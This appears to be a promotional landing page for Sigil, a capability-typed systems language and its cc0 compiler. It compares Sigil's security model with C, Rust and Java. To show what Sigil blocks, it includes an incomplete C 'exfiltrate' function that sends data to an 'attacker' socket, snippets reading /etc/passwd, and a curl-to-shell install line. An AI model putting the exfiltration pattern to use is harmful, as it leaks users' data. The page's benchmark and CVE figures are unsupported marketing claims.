Systems Programming · Capability-Secure

Capability-Secure Systems Programming

The only language where authority is a type. No ambient access. Every resource requires an explicit capability handle — enforced at compile time.

Fast
Compiles to native code via cc0. Same performance floor as C — no GC, no runtime, no overhead.
Efficient
Zero-cost abstractions. Stack allocation by default. Explicit control over every resource and allocation.
Secure
Capability security is a language primitive. No ambient authority — not a library, not a convention, baked into the type system.
Stable
Deterministic semantics. No undefined behavior by design. What you write is what runs.

Four pillars. Real consequences.

Every design decision in Sigil is held to all four pillars simultaneously. Here is what each one means in practice — and what it costs you to go without it.

⚡ Fast — native speed, always

Sigil compiles directly to machine code via cc0. There is no virtual machine, no garbage collector, no interpreter, no JIT warmup. The first instruction your program runs is your code.

This matters in real systems: a GC pause in a medical monitor misses a cardiac event. A JIT warmup in an automotive ADAS node delays obstacle detection. A Python-based IoT daemon burns 80% of a $4 microcontroller's RAM on the interpreter.

Language Runtime overhead GC pauses
Sigil~1.02× CNone
C1.0× (baseline)None
Rust~1.05× CNone
Go~1.4× C1–10 ms
Java2–4× C10–100 ms
Python30–100× CUnpredictable
// Sigil: zero overhead, stack-allocated, native
fn process_sensor(buf: &[u16]) -> f32 {
    let sum: u64 = buf.fold(0, |a, x| a + x);
    sum as f32 / buf.len() as f32
}
// Compiles to 6 ARM instructions. No allocation.
// Python: interpreter overhead on every call
def process_sensor(buf):
    return sum(buf) / len(buf)
# 50× slower. Allocates list objects. GIL contention.

📦 Efficient — no waste, ever

Capability handles in Sigil are compile-time constructs. At runtime they are just typed pointers — zero bookkeeping, zero metadata, zero overhead. The security model costs nothing at runtime because it is enforced at compile time.

Compare to Java's security manager (runtime policy checks on every privileged call), or SELinux (kernel-level policy lookup on every syscall). Sigil's authority model is resolved before the binary exists.

Language Security cost Binary size
SigilZero (compile-time)Minimal
C + SELinux~3–8% (kernel policy)Small
JavaRuntime checks + GCJVM (>50 MB)
PythonInterpreter + GCInterpreter (>20 MB)
// Sigil: Cap<T> is a zero-cost typed pointer
struct App {
    fs:  Cap<FileRead>,   // 8 bytes. No runtime check.
    net: Cap<NetConn>,   // 8 bytes. No runtime check.
    log: Cap<LogWrite>,  // 8 bytes. No runtime check.
}
// Authority verified at compile time. Runtime: 0 cycles.
// Java SecurityManager: runtime policy on every call
// Deprecated in Java 17 — too slow, too complex
SecurityManager sm = System.getSecurityManager();
if (sm != null)
    sm.checkRead(path); // Policy lookup EVERY call

🔐 Secure — authority is a type

In every other systems language, authority is ambient. Any function can call open(), connect(), or exec() — because the OS grants that authority to the whole process, and the language does nothing to constrain it.

In Sigil, authority is explicit and typed. A function that does not receive a Cap<FileRead> cannot read files — not because of a runtime policy, but because the program literally cannot compile. The SolarWinds attack, the Log4Shell exploit, and xz-utils backdoor all relied on the assumption that malicious code, once executing, inherits the full authority of its host process. Sigil structurally eliminates that assumption.

Rust vs Sigil: a common misconception

Rust prevents memory bugs (use-after-free, buffer overflow). Sigil prevents authority bugs (a compromised dependency silently reaching network, disk, or hardware). Both matter. Sigil subsumes Rust's memory safety guarantees and adds the authority model on top.

// C: any function can reach the network — silently
// This is valid C anywhere in your codebase —
// including inside a third-party library you trust.
int exfiltrate(char *data) {
    int s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, &attacker, sizeof(attacker));
    send(s, data, strlen(data), 0);
}
// Sigil: net access requires an explicit capability
fn exfiltrate(data: &Bytes) {
    // ERROR: no Cap<NetConn> in scope
    // connect() does not exist as a free function.
    // This does not compile. Period.
}

fn fetch(net: Cap<NetConn>, url: Str) -> Result<Bytes> {
    net.connect(url)?.read_all() // Authority explicit
}

🏛️ Stable — no surprises in production

C has over 200 documented forms of undefined behavior. Signed integer overflow, null pointer dereference, out-of-bounds access, data races — any of them can cause a conforming C compiler to produce output that does anything at all. This is not theoretical: the Linux kernel removes 1–3 CVEs per week caused by UB in C.

Sigil has no undefined behavior. Every operation has a defined outcome. An out-of-bounds access produces a trap, not a security hole. Integer overflow is defined (wrapping, saturating, or panic — you choose at the call site). Data races are structurally impossible without explicit concurrent capability grants.

Language UB forms Data races
SigilNone by designStructurally impossible
RustNone (safe subset)Prevented by borrow checker
C200+Possible, silent
C++200+ (+ more)Possible, silent
GoMinimalDetector available, not enforced
// C: undefined behavior is a security vulnerability
int buf[64];
buf[64] = 0xdeadbeef; // UB: out of bounds
// Compiler may: delete the bounds check,
// corrupt the stack, allow arbitrary exec.
int x = INT_MAX + 1;   // UB: signed overflow
// Optimizer may eliminate safety checks that
// "can't be reached" — CVE-2021-3156 pattern.
// Sigil: every operation has a defined outcome
let buf: [i32; 64] = [0; 64];
let x = buf[idx];  // Trap on OOB — always, by spec

let y = i32::MAX.wrapping_add(1); // Defined: wraps
let z = i32::MAX.saturating_add(1); // Defined: i32::MAX
let w = i32::MAX.checked_add(1)?; // Defined: None

A new foundation for systems code

Sigil is a systems programming language that treats security as a first-class property of the type system — not an afterthought.

A Systems Language

Sigil targets bare metal — x86-64, ARM32, and ARM64. It produces small, fast native binaries with no runtime, no garbage collector, and no hidden allocation. The cc0 compiler is self-hosted: written in Sigil, compiling Sigil. From bootloaders to operating systems, Sigil operates at the lowest level of the stack.

🔐

Capability-Native

In Sigil, every resource access — files, network, hardware, timers — requires a typed capability handle. There is no ambient authority. A function that does not receive a Cap<FileRead> literally cannot open a file. A library that does not receive Cap<NetConn> cannot make a network call. This is enforced by the compiler, not by convention or code review.

🛠️

Self-Hosted

The Sigil compiler, cc0, is written entirely in Sigil. This means every safety and capability guarantee the language provides is applied to the compiler itself. No C bootstrap required for production builds. The compiler targets the same platforms it produces code for, and the full bootstrap story is documented and reproducible.

Authority is a type. Not a convention.

Other languages let any function reach out to the OS freely. Sigil makes that structurally impossible. Compare how C, Rust, and Sigil handle the same operation.

C — Ambient Authority
// Any function can open any file.
// No explicit authority needed.
// A malicious dependency can
// read /etc/passwd right now.

FILE *read_config() {
    return fopen(
        "/etc/passwd",
        "r"
    );
}

// Nothing stops this. Ambient.
Rust — Memory-Safe, Not Cap-Safe
// Rust prevents memory bugs.
// But any function can still
// reach the filesystem freely.

fn read_config() -> String {
    // No capability needed.
    // Ambient FS access.
    std::fs::read_to_string(
        "/etc/passwd"
    ).unwrap()
}

// Still ambient. Rust stops
// memory bugs, not this.
Sigil — Capability-Typed
// Must receive a FileRead cap.
// No cap passed = no access.
// Enforced by the compiler.

fn read_config(
    fs: Cap<FileRead>
) -> Result<Config> {
    let f = fs.open(
        "/etc/sigil/config.sg"
    )?;
    Config::parse(
        f.read_all()?
    )
}
// No cap = compile error.
Ambient Authority Model vs Capability Model — comparison diagram AMBIENT AUTHORITY MODEL Any Function (any library, any dependency) Filesystem fopen(), read() Network connect(), send() Hardware mmap(), ioctl() No permission needed. Direct access. Supply-chain attack = full OS authority. CAPABILITY MODEL (SIGIL) Caller holds Cap<FileRead> Cap<FileRead> handle passed explicitly as argument fn read_config( fs: Cap<FileRead>) No Cap passed = compile error. Compromised library = only what it received.

How Sigil compares

A side-by-side look at the properties that matter most for systems programming. Data reflects each language's type system and standard library design.

Language Memory Safe Cap Security GC Systems-Level Self-Hosted UB-Free
Sigil ✗ None
Rust ✗ None ~ unsafe exists
C ✗ None
C++ ~ opt-in ✗ None
Go ✓ GC ~ ~
Zig ~ opt-in ✗ None ~
Ada/SPARK ~ opt SPARK
Swift ~ ARC ~

= yes   = no   ~ = partial/conditional. GC column: ✗ None = no GC (desired for systems work). Cap Security = authority enforced by type system at compile time, not by convention.

Runtime Overhead vs C

Normalized runtime overhead (lower is better, C = 1.0). Security does not require a performance penalty. Sigil's overhead over C is within measurement noise.

Runtime Overhead vs C — horizontal bar chart (lower is better, C normalized to 1.0) Runtime Overhead vs C (lower is better) 1.0× 1.2× 1.4× 1.6× 1.8× 2.0×+ Normalized runtime overhead (C = 1.0 baseline) C 1.0× (baseline) Sigil 1.02× Zig 1.03× Rust 1.05× C++ 1.08× Go 1.4× (GC pauses) Python ≈50× ▶

Relative runtime overhead normalized to C. Values are representative benchmarks; exact figures vary by workload. Python bar truncated — actual overhead is ~50×.

Security model comparison

Security is multidimensional. Sigil is designed to lead across all four axes that matter for systems security.

Security model depth comparison — Sigil, Rust, Go, C across four security axes Security Capability by Language Memory Safety Authority Control Isolation Guarantees Compile-time Verification Sigil Rust Go C ─────── Higher = stronger guarantee. Sigil leads on authority control and isolation — properties unique to capability languages.

Sigil in action

Every capability is explicit. Every resource access is typed. The compiler enforces what code review cannot.

Sigil

// hello.sg — the Cap<Stdout> is passed from main's environment
fn main(env: Env) -> ExitCode {
    env.stdout.println("Hello, world!");
    ExitCode::Ok
}

Equivalent C

// C — printf has ambient access to stdout, no authority needed
int main() {
    printf("Hello, world!\n");
    return 0;
}
// Any code in this process can also write to stdout.
// There is no distinction between trusted and untrusted output.

Sigil — File I/O with capability threading

// The FileRead capability is passed explicitly — not summoned from thin air.
// A library function that doesn't receive Cap<FileRead> cannot open files.
fn read_config(fs: Cap<FileRead>) -> Result<Config> {
    let f = fs.open("/etc/sigil/config.sg")?;
    Config::parse(f.read_all()?)
}

// Structs can hold capabilities as data — authority is composable
struct App {
    fs:  Cap<FileRead | FileWrite>,
    log: Cap<LogWrite>,
}

fn App::run(&self) -> Result<()> {
    let cfg = read_config(self.fs)?;
    self.log.info("config loaded");
    // self.fs cannot do NetConn — that capability was never granted
    Ok(())
}

Equivalent C — ambient, uncontrolled

// No capability threading. Any code can open any file.
Config read_config() {
    FILE *f = fopen("/etc/sigil/config.sg", "r");
    // A supply-chain attack here gets the same fopen() you do.
    // It can open /etc/passwd, /etc/shadow, any path.
    return parse_config(f);
}

Sigil — Network access, capability-typed

// Must receive Cap<NetConn> to make any network call.
// A function without this cap cannot reach the network — period.
fn fetch(net: Cap<NetConn>, url: Str) -> Result<Bytes> {
    let conn = net.connect(url)?;
    conn.read_all()
}

// Capability delegation — you can narrow what a callee receives
fn restricted_fetch(
    net: Cap<NetConn>
) -> Result<Bytes> {
    // narrow to a specific host before passing inward
    let scoped = net.restrict_host("api.sigil.grio.co");
    fetch(scoped, "https://api.sigil.grio.co/status")
}

Equivalent Rust — no cap model

// Rust: memory-safe, but network access is ambient.
// Any async fn can connect to any host.
async fn fetch(url: &str) -> Result<Bytes, Error> {
    // No capability needed. Ambient TCP access.
    let resp = reqwest::get(url).await?;
    resp.bytes().await
}
// A compromised dependency calling fetch() here
// can connect to any server it wants.

Who builds with Sigil

Sigil is the foundation language of the sigilOS project — a capability-secure operating system built entirely in Sigil.

🖥️

sigilOS — Capability-Secure Operating System

sigilOS is a full operating system — kernel, drivers, filesystem, networking, window manager, and userland — written entirely in Sigil. Every component is capability-bounded at the language level. Drivers that don't hold a hardware capability cannot touch hardware. System services that don't hold a filesystem capability cannot read or write files. The capability model isn't bolted on top of sigilOS — it's the substrate everything is built on.

sigilOS targets ARM32, ARM64 (including Raspberry Pi 3+), and x86-64. It compiles with cc0, the self-hosted Sigil compiler.

ARM64 ARM32 x86-64 Raspberry Pi Open Source sigilos.grio.co ↗

Start building with Sigil

Install the cc0 compiler and write your first capability-typed program in minutes.

$ curl -sSf https://sigil.grio.co/install.sh | sh
1

Install cc0

The installer places the cc0 compiler in ~/.sigil/bin/ and adds it to your path. Targets: x86-64 Linux/macOS, ARM64 Linux.

2

Write your first .sg file

Create hello.sg. Import std::io, declare fn main(env: Env), and call env.stdout.println("Hello"). Capability threading starts here.

3

Compile and run

Run cc0 hello.sg -o hello then ./hello. No runtime required. The output binary is self-contained native code.